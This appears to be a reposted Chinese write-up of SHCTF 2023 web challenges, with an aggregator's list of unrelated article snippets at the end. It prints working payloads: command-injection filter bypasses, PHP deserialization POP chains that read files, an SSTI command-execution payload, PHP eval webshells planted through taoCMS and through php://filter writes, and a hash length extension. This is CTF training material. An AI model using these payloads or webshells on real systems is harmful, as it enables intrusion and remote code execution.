[SHCTF 2023]——week1-week3 Web方向详细Writeup

Week1

babyRCE

源码如下

<?php$rce = $_GET['rce'];
if (isset($rce)) {if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {system($rce);}else {echo "hhhhhhacker!!!"."\n";}
} else {highlight_file(__FILE__);
}

扫描一下当前目录,发现flag

image-20231023153618172

绕过方式如下

过滤字符串替代字符串
catuniq
空格${IFS}
flagfla?

payload如下

?rce=uniq${IFS}fla?.php

?好好好,这么玩是吧

image-20231023162546546

flag在根目录里

image-20231023162713657

重新构造payload:

?rce=uniq${IFS}/f???

得到flag

1zzphp

开题得到源码

 <?php 
error_reporting(0);
highlight_file('./index.txt');
if(isset($_POST['c_ode']) && isset($_GET['num']))
{$code = (String)$_POST['c_ode'];$num=$_GET['num'];if(preg_match("/[0-9]/", $num)){die("no number!");}elseif(intval($num)){if(preg_match('/.+?SHCTF/is', $code)){die('no touch!');}if(stripos($code,'2023SHCTF') === FALSE){die('what do you want');}echo $flag;}
}  

先绕过第一层

intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错,如果正则不匹配多行(/m)也可用上面的换行方法绕过

所以我们直接将num当做数组传入即可

?num[]=111

然后又通过正则匹配过滤了SHCTF,但是又让我们传入的code的值为2023SHCTF

这里利用preg最大回溯来绕过,直接写脚本发送请求

具体可看这篇:深悉正则(pcre)最大回溯/递归限制

import requestsurl = "http://112.6.51.212:30395/?num[]=111"param = "very"*250000+"2023SHCTF"
#param = "2023SHCTF"
data = {'c_ode': param,
}
#print(param)
reponse = requests.post(url=url,data=data)
print(reponse.text)

运行可得到flag

image-20231023185456867

ez_serialize

听说你会PHP反序列化漏洞?不信,除非can_can_need_flag

进入环境得到源码

<?php
highlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}
}class B{public $q;public function __wakeup()
{if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker";           }
}}
class C{public $var;public $z;public function __toString(){return $this->z->var;}
}class D{public $p;public function __get($key){$function = $this->p;return $function();}  
}if(isset($_GET['payload']))
{unserialize($_GET['payload']);
}
?> 

反序列化,先构造pop链

利用点是在__invoke()魔术方法中的include函数,可以利用该函数进行文件包含

__invoke() :将对象当作函数来使用时执行此方法

那么向上找就找到了__get()魔术方法,会在return $function()的时候执行一个函数

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

继续找可以看到在__toString()魔术方法中,有return $this->z->var,在试图获取z类中var属性的值,所以可以通过这个触发__get()魔术方法

__toString(): 当一个对象被当作字符串使用时触发

然后可以看到在preg_match正则匹配的时候,会将对象当做字符串处理,所以pop链如下

A::__invoke() <-- D::__get() <-- C::__toString() <-- B::__wakeup() 

构造exp:

<?php
class A{public $var_1;function __construct(){$this ->var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';}public function __invoke(){include($this->var_1);}
}class B{public $q;function __construct(){$this ->q = new C();}
}
class C{public $var;public $z;function __construct(){$this ->z = new D();}
}class D{public $p;function __construct(){$this ->p = new A();}
}
$a = new B();
echo serialize($a);

运行生成序列化字符串

O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

payload传参

?payload=O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

传参得到base64编码的flag,解码得到flag

登录就给flag

无语了。。。一开始以为是strtus2,结果就是弱口令

账号admin,密码password,弱口令直接登

image-20231024153556009

飞机大战

小飞棍来喽

查看源代码可以看到获得flag的要求

image-20231024161039883

但是我在找控制分数的属性的时候找到了这个

image-20231024161214074

可以看到是unicode编码,解码一下

image-20231024161228176

应该是一串base64编码字符串,解码得到flag

image-20231024161251131

ezphp

源码如下

<?php
error_reporting(0);
if(isset($_GET['code']) && isset($_POST['pattern']))
{$pattern=$_POST['pattern'];if(!preg_match("/flag|system|pass|cat|chr|ls|[0-9]|tac|nl|od|ini_set|eval|exec|dir|\.|\`|read*|show|file|\<|popen|pcntl|var_dump|print|var_export|echo|implode|print_r|getcwd|head|more|less|tail|vi|sort|uniq|sh|include|require|scandir|\/| |\?|mv|cp|next|show_source|highlight_file|glob|\~|\^|\||\&|\*|\%/i",$code)){$code=$_GET['code'];preg_replace('/(' . $pattern . ')/ei','print_r("\\1")', $code);echo "you are smart";}else{die("try again");}
}else{die("it is begin");
}
?> 

因为字符串中的特殊字符需要转义,所以\\1实际上就是 \1, 而 \1 在正则表达式中表示反向引用。

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从1开始,最多可存储99个捕获的子表达式。每个缓冲区都可以使用\n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

可以看看这篇文章:深入研究preg_replace与代码执行

正则表达式含义
.匹配除换行符以外的任意字符
\s匹配任意的空白符
\S匹配任何非空白字符
+匹配前面的子表达式一次或多次

所以可以构造payload:

?code= ${phpinfo()}POST data:
pattern=\S*

image-20231026101229660

flag在phpinfo中,找就行了

生成你的邀请函吧~

API:url/generate_invitation  
Request:POST application/json  
Body:{  "name": "Yourname",  "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

使用POST json请求来生成你的邀请函吧flag就在里面哦

就按照格式发包即可,请求包如下

POST /generate_invitation HTTP/1.1
Host: 112.6.51.212:31712
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Cache: no-cache
Content-Length: 120
Origin: moz-extension://52197b93-2daa-44a4-bdab-53cb22781078
Connection: close
Cookie: session=eyJzY29yZSI6MCwic3RhcnRfdGltZSI6MTY5ODE0NDg2Ny45MjU0Njh9.ZTeiYw.DovBAS1GQx11tdF57JlQ1hO2pqQ{  "name": "Yourname",  "imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=QQnumb&spec=640&img_type=jpg"  
}  

发完包之后会自动下载一个图片,flag在里面

Week2

serialize

刚刚失误了,狠狠拷打完出题人,我不信你这次还能拿到flag

源代码如下

 <?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;public function __get($key){$this->miaomiao();$this->gao=$this->fei;die($this->a);}public function miaomiao(){$this->a='Mikey Mouse~';}
}
class musca{public $ding;public $dong;public function __wakeup(){return $this->ding->dong;}
}
class milaoshu{public $v;public function __tostring(){echo"misca~musca~milaoshu~~~";include($this->v);}
}
function check($data){if(preg_match('/^O:\d+/',$data)){die("you should think harder!");}else return $data;
}
unserialize(check($_GET["wanna_fl.ag"])); 

构造pop链,利用点是在milaoshu类的__toString()魔术方法中的include函数来进行文件包含

__toString(): 当一个对象被当作字符串使用时触发

向上找,可以看见__get()魔术方法中的die()函数可以触发__toString()魔术方法,

__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

继续找,可以发现musca类的__wakeup魔术方法可以触发__get魔术方法

所以pop链如下

milaoshu::__toString() <-- misca::__get() <-- musca::__wakeup()

构造exp的时候注意一下,在__get()魔术方法会触发miaomiao函数并重新赋值,但是我们可以利用PHP变量引用来进行绕过


PHP变量引用

& 传递变量的地址, 类似于 c 中的指针

test1

<?php$a = '123';
$b = &$a;
$a = '456';
echo $b;?>#456

这里面 $b 的值就是 $a 的值, 因为 $b 里面存了 $a 的地址, 两者是等价的

同理, 如果改变 $b 的值, $a 的值也同样会改变

再给个例子

test2

<?php
class abc{public $a = '1';public $b = '2';
}
$c = new abc();
$c->a =&$c->b;
$c->a = '2';//此时哪怕修改a的值也不管用
echo $c->b = md5(mt_rand()).PHP_EOL;
print_r($c->a);
?>//运行结果
99b7a2ba03ae148d05525d96ac414ad9
99b7a2ba03ae148d05525d96ac414ad9

构造exp:

<?php
highlight_file(__FILE__);
class misca{public $gao;public $fei;public $a;function __construct(){$this ->gao = "tired";$this ->fei = new milaoshu();$this ->a = &$this->gao;}
}
class musca{public $ding;public $dong;function __construct(){$this ->ding = new misca();$this ->dong = "webbbb";}
}
class milaoshu{public $v;function __construct(){$this ->v = "php://filter/read=convert.base64-encode/resource=flag.php";}
}
$a = new musca();
echo PHP_EOL;
echo serialize($a);

运行即可生成序列化字符串

O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:9:"index.php";}s:1:"a";R:3;}s:4:"dong";s:6:"webbbb";}

传参的时候也要利用PHP非法传参来进行传参


非法传参

根据php解析特性,如果字符串中存在[、.等符号,php会将其转换为_且只转换一次,因此我们直接构造nss_ctfer.vip的话,最后php执行的是nss_ctfer_vip,因此我们将前面的_[代替

PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_


然后就是绕过check正则匹配,其实很多简单,他正则匹配的是O:\d,也就是O:后面跟一个整数

开始只想到了+绕过,但是PHP高版本情况下绕过不了,所以新学了个绕过方式,数组绕过

把最后的输出语句改为

echo serialize(array($a));

生成序列化字符串

a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:6:"webbbb";}}

最终payload:

?wanna[fl.ag=a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";s:5:"tired";s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";s:6:"webbbb";}}

得到base64编码后的flag

no_wake_up

进入环境后点击按钮可以得到源代码

 <?php
highlight_file(__FILE__);
class flag{public $username;public $code;public function __wakeup(){$this->username = "guest";}public function __destruct(){if($this->username = "admin"){include($this->code);}}
}
unserialize($_GET['try']); 

很明显了,绕过__wakeup()魔术方法,然后利用include来进行文件包含

构造exp的时候要用伪协议来读取文件

exp:

<?php
class flag{public $username;public $code;function __construct(){$this -> username = 'admin';$this -> code = "php://filter/read=convert.base64-encode/resource=flag.php";}
}
echo PHP_EOL;
$a = new flag();
echo serialize($a);

运行生成

O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

这里直接传就行了。。。我一开始看蒙了,细看了一下

if($this->username = "admin")

这里判断条件用的是单等于号=,所以只要传入username就是恒成立了。。。

image-20231024163104836

base64解码一下得到flag

这可能是出题的时候出错了。。。

MD5的事就拜托了

 <?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){extract(parse_url($_POST['SHCTF']));if($$$scheme==='SHCTF'){echo(md5($flag));echo("</br>");}if(isset($_GET['length'])){$num=$_GET['length'];if($num*100!=intval($num*100)){echo(strlen($flag));echo("</br>");}}
}
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
} 

先输出md5($flag),可以看这篇文章

CTFSHOW PARSE_URL 第五关

简而言之就是利用parse_url协议来对传入的url进行一个拆分,然后利用extract来设定值

<?php
$str = "user://pass:SHCTF@scheme";
$data = parse_url($str);
var_dump($data);
//echo $data;$scheme = "Original";
extract($data);
echo "\$a = $scheme; \$b = $user; \$c = $pass";
?>
#$a = user; $b = pass; $c = SHCTF

这样,str$scheme的值就是user,那么$$sheme就是$user,以此类推来达到我们想要的结果

传参

POST data:
SHCTF=user://pass:SHCTF@scheme

可以得到flag的md5哈希值

d9dbdc0ee9c4af7b50c6912d872cc475

接下来绕过intval()函数即可,利用小数绕过

虽然已经*100了,但是多打几个小数位就可以了

http://112.6.51.212:32610/?length=4.1516

最后一串有点意思

if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
}

它检查表单中SHCTF字段的提交值($_POST['SHCTF'])是否不等于变量$flag的MD5哈希值。如果第一个条件不满足,它检查经过解码的存储在变量$num中的URL编码值连接到$flag的MD5哈希后,是否等于提交的值。

这个其实见过就知道了,Hash长度拓展攻击

可以看我写的这篇,这里不多赘述了

[*CTF 2023]web方向——jwt2struts 详细Writeup

服了,试了半天试不出来,发现是hashpump用错了

这里Input Data需要的是已知字符串,Key Length需要的是未知字符串的长度

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串"}"
Input Key Length                   #为密文长度"41"
Input Data to Add                  #为补位后自己加的字符串(自定义)

我们知道flag的格式,flag{}所以我们就知道了最后的},那么未知的字符串长度便是41

image-20231026141509274

得到的hash就是我们需要传入的SHCTF的值,但是下面的字符串需要我们处理一下

\x换成%然后传参,这里注意一下,传参的时候要把}给去掉

%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00aa

image-20231026142402271

ez_ssti

that is your begin of ssti world

很普通的ssti,没有过滤,找个payload随便打了,参数是name

?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

可以扫描根目录

image-20231025195745648

然后命令修改为cat /f*即可

?name={{ config.__class__.__init__.__globals__['os'].popen('cat /f*').read() }}

EasyCMS

可以看到是taoCMS

image-20231024154209717

网上找一个CVE照着打一下

这里直接点管理点不到,服务器响应超时,那就直接访问/admin/admin.php,来到后台登录系统

image-20231024154305477

账号admin,密码tao

然后进入文件管理

image-20231024155825962

新建shell.php,然后点击编辑

image-20231024160027256

在文件内容里写一句话木马,内容如下

<?php
phpinfo();
@eval($_REQUEST["cmd"]);
?>

点击保存后,利用蚁剑可以直接连接

image-20231024160305709

但是哥们蚁剑犯病了,这里直接RCE了

payload:

cmd=system("cat /f*");

image-20231024160601340

Week3

快问快答

男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。

脚本题,直接放脚本吧

import requests
import re
import timeurl = 'http://112.6.51.212:31330/'
res = requests.session()
response = res.post(url, data={"answer": 123})for i in range(1, 99):time.sleep(1.3)resTest = response.textpattern = re.compile(r'题目:(\d+) (与|异或|[+\-x÷^]) (\d+) = ?')match = pattern.search(resTest)if match:num1 = int(match.group(1))operator = match.group(2)num2 = int(match.group(3))if operator == '+':answer = num1 + num2elif operator == '-':answer = num1 - num2elif operator == '*' or operator == 'x':answer = num1 * num2elif operator == '÷':# answer = num1 / num2answer = int(num1 / num2)elif operator == '与':answer = num1 & num2elif operator == '异或':answer = num1 ^ num2else:answer = 0# print("第一个数字:", num1)# print("符号:", operator)# print("第二个数字:", num2)if answer is not None:print("计算结果:", answer)myData = {"answer": answer}response = res.post(url, data=myData)print(response.text)if "flag{" in response.text:print("Flaggggggggg!!!: ", response.text)exit()else:print("未找到匹配的题目。")print(response.text)

运行一段时间后得到flag

image-20231024190551731

写脚本的时候踩了很多坑

一是符号问题,乘和除用的是x÷,写的时候用的*/导致符号无法识别

二是session回话保持,因为他提示了,要休息1秒,所以在第一次发包来获得题目的时候需要time.sleep(1),不然题目就会刷新

三就是需要输入整数,输入小数会直接报错,所以在除法那里卡了一段时间

image-20231024190644402

可以说极大地增加了写脚本的水平

sseerriiaalliizzee

don’t want to die

源代码如下

<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless   = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?>  

可以看一下这篇文章

谈一谈php://filter的妙用

懒得讲了,直接串链子了

CTF :: dosomething <-- Start :: __toString

__toString魔术方法直接在反序列化的时候通过echo触发

构造exp:

<?php error_reporting(0);
class Start
{public $barking;public function __construct(){$this->barking = new CTF();}
}class CTF
{public $part1;public $part2;public function __construct(){$this->part2 = "PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";$this->part1 = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";}
}
$a = new Start();
echo serialize($a);

运行生成

O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:5:"part2";s:32:"PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";}}

然后POST传参

code=O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:5:"part2";s:32:"PD8gZXZhbCgkX1JFUVVFU1RbY21kXSk7";}}

接着访问shell.php进行RCE

payload:

shell.php?cmd=system("cat /f*");

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/197148.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录二刷 | 字符串 |重复的子字符串

代码随想录二刷 &#xff5c; 字符串 &#xff5c;重复的子字符串 题目描述解题思路 & 代码实现移动匹配KMP算法 题目描述 459.重复的子字符串 给定一个非空的字符串 s &#xff0c;检查是否可以通过由它的一个子串重复多次构成。 示例 1: 输入: s “abab” 输出: tru…

XC4060 40V降5V/3.3V 0.6A小电流高耐压芯片 适用于单片机供电输出、电池供电设备

XC4060器件是高效率&#xff0c;同步降压DC/DC稳压器。具有较宽的输入范围&#xff0c;它们适用于广泛的应用&#xff0c;例如来自非稳压源的功率调节。他们的特点是一个长距离(500mQ/300mQ2型) 内部开关的效率最高 (92%)。Sum od (非A选项)和PWM模式(A选项)&#xff0c;工作频…

大部分只使用这 14 个 Git 命令就够了

必须了解的命令整理 1&#xff0c;git init 初始化一个新的Git仓库。 这将在当前目录中创建一个名为".git"的子目录&#xff0c;Git会将所有仓库的元数据存储在其中。 2&#xff0c;git clone 克隆一个已存在的仓库。 这会创建一个本地仓库的副本&#xff0c;包…

【C语言】深入理解C语言中的数学运算和类型转换

文章目录 引言取负运算的奥秘源码探索分析与解读 浮点数运算的精细差异源码分析 精度损失与隐式类型转换精度和除零运算探究float类型和double类型的精度各是多少&#xff08;即十进制有效位的位数&#xff09;&#xff1f;在你的机器上&#xff0c;“负数开方”是如何处理的&a…

【Spring Boot】如何集成mybatis-plus

在pom文件中导入maven坐标 <dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.23</version></dependency><!--mybatis-plus--><dependency><groupId>com.ba…

uniapp 连接斑马PDA调试

1、先把PDA设置成开发者模式 打开设置--》关于手机 --》单击版本号&#xff0c;5次以上 连线单击5次以上 2、后退--》找到系统 --》高级 3、打开 --》开发都模式 4、找到调试 --》 打开USB调试 5、设置USB偏好设置&#xff0c;插入电脑连接PDA就会在通知栏上显示&#xff0c;默…

蓝桥杯 动态规划

01 数字三角形 #include<bits/stdc.h> using namespace std; const int N105; using lllong long; ll a[N][N],dp[N][N]; int main(){int n;cin>>n;for(int i1;i<n;i){for(int j1;j<i;j){cin>>a[i][j];}}for(int i5;i>1;i--){for(int j1;j<i;j){…

拒绝废话,直接开画!Python零基础教程之画图

引文 很多教程&#xff0c;开始教python&#xff0c;就是语法呀&#xff0c;字符类型这些基础的&#xff0c;虽说是基础&#xff0c;你也不能说没用。 但是&#xff0c;对于前期要快速成长的我们来说&#xff0c;属实不够看。 我们是新手&#xff0c;我们是菜鸟&#xff0c;但…

OTFX欧汇提供更优质的外汇交易产品和服务

OTFX的外汇交易明智决策能力&#xff1a;准确捕捉外汇市场机会&#xff0c;实现稳定盈利 把握机遇&#xff0c;重要的是争取而不是等待。在金融市场中&#xff0c;明智的决策能力对于外汇交易成败至关重要。及时的断绝&#xff0c;果断的出手&#xff0c;才能够保证出手的成功…

提升Jmeter测试效率的9种参数化方法!

jmeter工具无论做接口测试还是性能测试&#xff0c;参数化都是一个必须掌握且非常有用的知识点。参数化的使用场景: 1&#xff09;多个请求都是同一个ip地址&#xff0c;若服务器地址更换了&#xff0c;则脚本需要更改每个请求的ip 2&#xff09;注册账号&#xff0c;不允许账…

力扣572:另一棵树的子树

力扣572&#xff1a;另一棵树的子树 给你两棵二叉树 root 和 subRoot 。检验 root 中是否包含和 subRoot 具有相同结构和节点值的子树。如果存在&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 二叉树 tree 的一棵子树包括 tree 的某个节点和这个节点的所…

用友NC FileUploadServlet 反序列化RCE漏洞复现

0x01 产品简介 用友 NC 是用友网络科技股份有限公司开发的一款大型企业数字化平台。 0x02 漏洞概述 用友 NC nc.file.pub.imple.FileUploadServlet 反序列化漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。 0x03 复现环…

龙迅LT2611UX 四端口LVDS转HDMI(2.0)

1.描述&#xff1a; LT2611UX 四端口LVDS TO HDMI2.0。 LT2611UX是一款高性能得LVDS到HDMI2.0转换器得STB&#xff0c;DVD应用程序&#xff0c;LVDS输入可以配置单端口&#xff0c;双端口或者四端口&#xff0c;带有一个高速时钟通道&#xff0c;最多可运行三到四个高速数据…

第一节JavaScript 简介与使用

JavaScript简介 JavaScript是互联网上最流行的脚本语言&#xff0c;这门语言可用于HTML和Web&#xff0c;更广泛用于服务器、PC、电脑、智能手机等设备上。 JavaScript是一种轻量级的编程语言。 JavaScript是可插入HTML页面的编程代码。 JavaScript插入HTML页面后&#xff…

算法基础六

搜索插入位置 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 示例 1: 输入: nums [1,3,5,6], target 5 输出: 2 示例 2: 输入: nums [1,3,5,6], target 2 输…

Linux常用快捷键

1. tab 键补全 1)当我们忘记了一些指令怎么写时&#xff0c;可以双击tab键&#xff0c;查看所有指令&#xff0c;显示出来后可以按enter键往下翻&#xff0c;想要取消命令可以按ctrl c。 2)知道开头怎么写&#xff0c;后面的忘了&#xff0c;也可以双击tab键查询开头排列的指令…

通过证书透明度发现更多相关资产

通过证书透明度发现更多相关资产 1.证书透明度概述2.搜索实战3.为什么证书透明度技术是可行的4.DigiCert 和其他 CA5.缺陷缓解措施 1.证书透明度概述 许多现代网站都采用自动颁发和续订 TLS 证书&#xff0c;在设置 TLS 证书部署的方式上存在缺陷。它允许任何人发现同一服务器…

【皇帝的新装】像管理产品一样,来管理自己

在前进的路上需要不时的回头看&#xff0c;看自己来时的脚步&#xff0c;是杂乱无章&#xff0c;还是方向一致。善于从经验中总结可以让我们少走许多弯路&#xff0c;降低我们的消耗。 偶然间&#xff0c;回头看看&#xff0c;入行产品经理已经三年有余。沉迷在各种具体事务中&…

回溯法及例题(C++实现)

回溯法概念 概念&#xff1a;在包含问题所有解的解空间树中&#xff0c;按照深度优先搜索的策略&#xff0c;根据根结点&#xff08;开始节点&#xff09;出发搜索解空间树。 流程&#xff1a;首先根结点成为活节点&#xff0c;同时也成为当前的扩展结点。在当前的扩展结点处…

代码随想录day5 哈希表part 01 242.有效的字母异位词 349. 两个数组的交集 202. 快乐数 1. 两数之和

当我们遇到了要快速判断一个元素是否出现集合里的时候&#xff0c;就要考虑哈希法。 哈希碰撞&#xff1a;1、拉链法&#xff1a;其实拉链法就是要选择适当的哈希表的大小&#xff0c;这样既不会因为数组空值而浪费大量内存&#xff0c;也不会因为链表太长而在查找上浪费太多时…